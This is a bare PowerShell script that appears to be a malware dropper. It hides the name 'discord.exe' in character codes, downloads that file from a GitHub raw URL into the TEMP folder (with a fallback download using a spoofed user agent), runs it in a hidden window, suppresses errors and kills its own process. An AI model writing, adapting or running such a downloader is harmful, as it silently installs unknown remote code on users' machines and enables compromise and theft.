$n = -join [char[]](100,105,115,99,111,114,100) $x = -join [char[]](46,101,120,101) $p = [IO.Path]::Combine([Environment]::GetEnvironmentVariable('TEMP'), $n + $x) $a = 'https://github.com/iendjd7-lgtm/-f_4113_n-discord/' $b = 'raw/refs/heads/main/' $u = $a + $b + $n + $x Import-Module BitsTransfer -Verbose:$false -WarningAction SilentlyContinue Start-BitsTransfer -Source $u -Destination $p -Priority Foreground -ErrorAction SilentlyContinue if (-not (Test-Path $p)) { $r = [Net.WebRequest]::Create($u) $r.UserAgent = 'Mozilla/5.0' $s = $r.GetResponse().GetResponseStream() $f = [IO.File]::Create($p) $s.CopyTo($f) $f.Close() $s.Close() } $sh = New-Object -ComObject ('Shell.' + 'Application') $sh.ShellExecute($p, '', '', 'open', 0) Stop-Process -Id $PID -Force